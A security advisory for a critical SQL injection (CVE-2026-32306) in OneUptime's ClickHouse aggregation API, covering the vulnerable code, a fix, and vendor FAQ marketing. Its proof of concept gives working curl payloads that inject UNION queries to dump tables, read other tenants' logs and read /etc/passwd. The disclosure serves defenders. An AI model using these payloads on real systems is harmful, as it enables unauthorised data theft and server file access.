Summary
The telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.
Details
Entry Point, Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296:
The POST /{modelName}/aggregate route deserializes aggregateBy directly from the request body:
// BaseAnalyticsAPI.ts:292-296
const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(
req.body["aggregateBy"]
) as AggregateBy<TBaseModel>;
No schema validation is applied to aggregateBy. The object flows directly to the database service.
No Validation, Common/Server/Services/AnalyticsDatabaseService.ts:276-278:
// AnalyticsDatabaseService.ts:276-278
if (aggregateBy.aggregationType) {
// Only truthiness check, no allowlist
}
The aggregationType field is only checked for existence, never validated against an allowed set of values (e.g., AVG, SUM, COUNT).
Raw SQL Injection, Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527:
// StatementGenerator.ts:527
statement.append(
`${aggregationType}(${aggregateColumnName}) as aggregationResult`
);
The .append() method on Statement (at Statement.ts:149-151) is documented as accepting trusted SQL and performs raw string concatenation:
// Statement.ts:149-151
public append(text: string): Statement {
this.query += text; // Raw concatenation, "trusted SQL"
return this;
}
Similarly, aggregationTimestampColumnName is injected into GROUP BY clauses at AnalyticsDatabaseService.ts:604-606:
statement.append(
`toStartOfInterval(${aggregationTimestampColumnName}, ...)`
);
Attack flow:
- Authenticated user sends
POST /api/log/aggregate(or/api/span/aggregate,/api/metric/aggregate) - Request body contains
aggregateBy.aggregationTypeset to a SQL injection payload - Payload passes truthiness check at line 276
- Payload is concatenated into SQL via
.append()at line 527 - ClickHouse executes the injected SQL
PoC
# Step 1: Authenticate and get session token
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"password123"}' \
| jq -r '.token')
# Step 2: Extract data from ClickHouse system tables via UNION injection
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Step 3: Read telemetry data across all tenants
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Step 4: Read files via ClickHouse table functions (if enabled)
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\''/etc/passwd'\'') --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Verify the vulnerability in source code:
# 1. No allowlist for aggregationType:
grep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5
# Line 276: if (aggregateBy.aggregationType) {, truthiness only
# 2. Raw SQL concatenation:
grep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts
# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`
# 3. .append() is raw concatenation:
grep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts
# this.query += text;, "trusted SQL"
# 4. No validation at API layer:
grep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\|sanitize\|allowlist'
# 0
Proposed Fix
// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:
const ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];
if (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {
throw new BadRequestException(
`Invalid aggregationType: ${aggregateBy.aggregationType}. ` +
`Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}`
);
}
// 2. Validate aggregateColumnName against the model's known columns:
const modelColumns = model.getColumnNames(); // or similar accessor
if (!modelColumns.includes(aggregateBy.aggregateColumnName)) {
throw new BadRequestException(
`Invalid column: ${aggregateBy.aggregateColumnName}`
);
}
// 3. Same for aggregationTimestampColumnName:
if (aggregateBy.aggregationTimestampColumnName &&
!modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {
throw new BadRequestException(
`Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`
);
}
// 4. Use parameterized queries where possible:
statement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);
statement.addParameter('aggregationType', aggregateBy.aggregationType);
statement.addParameter('columnName', aggregateBy.aggregateColumnName);
Impact
Full ClickHouse database compromise. An authenticated user (any role) can:
- Cross-tenant data theft, Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own
- Data manipulation, INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users
- Server-side file read, Via ClickHouse's
file()table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem - Remote code execution, Via ClickHouse's
url()table function, make HTTP requests from the server (SSRF), or viaexecutable()table function, execute OS commands - Credential theft, ClickHouse default configuration (
defaultuser, password from env) could be leveraged to connect directly
The vulnerability requires only basic authentication (any registered user), making it exploitable at scale.
Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.
CVE-2026-32306 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (10.0.23); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-32306? CVE-2026-32306 is a critical-severity SQL injection vulnerability in oneuptime (npm), affecting versions < 10.0.23. It is fixed in 10.0.23. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
- How severe is CVE-2026-32306? CVE-2026-32306 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of oneuptime are affected by CVE-2026-32306? oneuptime (npm) versions < 10.0.23 is affected.
- Is there a fix for CVE-2026-32306? Yes. CVE-2026-32306 is fixed in 10.0.23. Upgrade to this version or later.
- Is CVE-2026-32306 exploitable, and should I be worried? Whether CVE-2026-32306 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-32306 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-32306? Upgrade
oneuptimeto 10.0.23 or later.